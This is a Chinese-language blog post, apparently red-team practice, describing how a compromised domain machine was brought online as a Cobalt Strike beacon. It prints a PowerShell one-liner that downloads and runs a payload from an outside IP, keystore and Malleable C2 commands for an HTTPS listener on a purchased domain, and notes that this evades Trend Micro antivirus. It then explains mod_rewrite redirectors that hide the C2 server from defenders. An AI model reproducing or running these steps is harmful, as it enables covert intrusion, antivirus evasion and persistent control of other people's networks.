Snowming04's Blog
一颗红❤
Toggle navigation
Snowming04's Blog
主页
Cobalt Strike
Accelerated C++
区块链安全
友链
关于我
常用工具
代码积累
归档
标签
CS 合法证书 + Powershell 上线
2020-06-17 19:52:29
8373
0
0
snowming
## 2020/8/13 更新: 关于这篇文章,好多人在实操的过程中可能遇到了问题。可能是我写的不仔细吧,所以我新写了一个图示版,可以结合此文阅读: - [关于合法证书+ps上线手把手示范](https://shimo.im/docs/3RjkWKcQxkrPwxyd) 本文证书部分参考的英文文章链接为(此文只有一部分是跟证书有关的): - [HTTPS Payload and C2 Redirectors](https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/) 希望你们一切顺利! -------------- # 原文: ## 前情提要 - 现在已经获得了第一台 DMZ 机器(`192.16.11.248`)的初始权限,发现这台机器在域中。 - 在此机器上抓到了一个域账号(服务账号)的有效明文密码。 - 在 C2 和初始权限机器之间架设 frp 隧道,使用初始权限机器做代理、使用 impacket 套件中的 wmiexec 脚本获取了第二台欲横向机器的交互式 shell。 - 想要使第二台机器(`192.16.0.134`) CS 上线。 ## 网络环境探测 `netstat -ano`    - 通 192.168.11.x 内网段 - 通外网,但主要是 80、443 端口 ICMP 出网:  TCP 出网:  通过 TRACERT 看出来到出网就1跳,所以应该没有什么流量监测或者网络防御设备。  看到可以直接 TCP 出网,外加目标是 Windows2008 R2 环境,没 Windows Defender 的阻力,于是我直接用 reverse_http 类型监听器生成的 Powershell payload 进行上线,但是上线失败。  ``` powershell.exe -nop "((new-object net.webclient).downloadstring('http://47.52.x.x:443/a'))" ``` 发现 powershell payload 都没下载成功,因为我使用的端口已经是 443,所以排除了放行端口的问题。但是把 payload 托管到 pastebin 网站上,IEX 执行可以正常上线,但是上线之后的 shell,无法执行命令,仅有心跳。所以猜测 http 通信遭到了拦截。 ## AV 探测 - `net start` - `C:\>tasklist /svc` | 系统进程 | 杀软名称 | | :-------- | :--------| | TMBMSRV.exe | 趋势杀毒 | |ntrtscan.exe|趋势反病毒应用程序| |NTRTSCAN.exe|趋势科技| |PCCNTMON.exe|PC-cillin| |TMLISTEN.exe|趋势科技| 所以这台机器上有趋势。得知是趋势,那么就不太担心了,毕竟趋势相对挺好过的。 ## 合法证书 + Powershell 域名 https 上线 **获取 SSL 证书** 先购买一个用于上线的域名,然后用域名申请一个 SSL 证书。我就使用 https://freessl.cn/ 用我的 `spoofdomain.com` 域名申请好了证书。 >可参考:[3分钟搞定从申请ssl证书到域名服务器配置](https://segmentfault.com/a/1190000019798737) **创建一个 keystore** 将 ssl 证书上传到 CS 团队服务器,使用以下命令为 CS 生成 keystore: ``` openssl pkcs12 -export -in fullchain.pem -inkey privkey.key -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypass keytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com ``` **Malleable C2 profile** 将 keystore 加入 Malleable C2 profile 中: ``` https-certificate { set keystore "spoofdomain.store"; set password "mypass"; } ``` 然后在启动 CS 的时候指定此 C2 profile: ``` nohup ./teamserver 47.x.x.x password c2.profile & ``` 此时当团队服务器启动,其就会使用提供的 keystore 并启用 SSL 文件托管。 **reverse_https 监听器** 创建一个 reverse_https 的监听器,在 `HTTPS Hosts` 和 `HTTPS Host(stager)` 以及 `HTTPS Host Header` 这里指定域名:  **Scripted Web Delivery**  然后这个 ps 命令去上线,就可以过趋势正常上线并且正常通信。 经测试这种上线方式无法过 Windows Defender 和新版诺顿。 ## Cobalt Strike HTTPS C2 重定向器 上面已经成功域名上线、正常通信了 。但是有时候我们也会遇到一种情况,就是目标网络的蓝队人员注意到了机器跟域名的通信,然后在浏览器上对此 url 进行访问,响应可能是 404、这样增加了蓝队人员的疑虑,就在防火墙设备上把你这个域名封掉了。导致我们看到的结果可能是短时间内 Beacon shell 全掉了。如何避免这种反查呢? 重定向器是一种 C2 基础架构的设计。这种基础架构设计可能可以帮助缓解这一局面。  如图,通过重定向器: - 将符合 CS Malleable C2 profile 中设置的流量特征(`User-Agent`、`HTTP GET URI`、`HTTP POST URI`、``HTTP Stager URI` 等)的访问中转到团队服务器,进行正常命令与控制通信。 - 将不符合 CS Malleable C2 profile 中设置的流量特征的访问中转到看上去无害的网站,比如目标网站。 这样的好处主要是避免在引起目标网络的蓝队人员的关注后,尽量打消其疑虑、避免其对真实 C2 后端服务器的进一步分析行为。另一方面,如果我们的上线域名被封,真正的 Cobalt Strike 团队服务器的 IP 仍然可以使用,于是可以换一个重定向器,获取新的 IP 和域名,然后重新投入使用。如果在 beacon payload 中设置了多个回连域名,那甚至不需要重新获得初始访问权限。 重定向器的一种简单实现方案是使用 Apache + mod_rewrite。`mod_rewrite` 是 Apache 的一个模块。此模块提供了一个基于正则表达式分析器的重写引擎来实时重写 URL 请求。但是一般 mod_rewrite 默认是不启动的,需要我们手动去启用它。 这里要注意:在使用了重定向器之后,上线域名应该解析为重定向器的 IP。 具体的操作在此文:[https-payload-and-c2-redirectors](https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/) 中写的很清楚。 现在已有 [cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) 这个工具帮助根据 Cobalt Strike 的 Malleable C2 profile 一键生成 mod_rewrite .htaccess。 但是注意: - `mod_rewrite` 的规则可以在两个地方配置:一是 apache 配置文件中(如 `/etc/apache2/apache.conf`),二是网络目录中的 `.htaccess` 文件中。 - 分阶段 payload 和 stageless payload 的重定向规则集写法不同。参考此文:[Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/),而本文中使用的 Scripted Web Delivery 就会生成 stageless 的 Beacon payload。 ------------ ## 参考文档: 1. [Strengthen Your Phishing with Apache mod_rewrite and Mobile User Redirection](https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/#mod_rewrite-basics),2016年3月22日,bluescreenofjeff.com 2. [Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/),2016年6月28日,bluescreenofjeff.com 3. [HTTPS Payload and C2 Redirectors](https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/),2018年4月12日,bluescreenofjeff.com 4. [用Apache mod_rewrite来保护你的Empire C2](https://www.anquanke.com/post/id/104784),安全客,一叶飘零,2018年4月28日 5. mod_rewrite 规则集自动生成工具:[cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) ## 致谢 **感谢我的小伙伴 @undefined 教我~~**
上一篇:
破解 abex' crackme#1
下一篇:
正反向 socks 的理解
0
赞
8373 人读过
新浪微博
微信
腾讯微博
QQ空间
人人网
提交评论
立即登录
, 发表评论.
没有帐号?
立即注册
0
条评论
More...
文档导航
没有帐号? 立即注册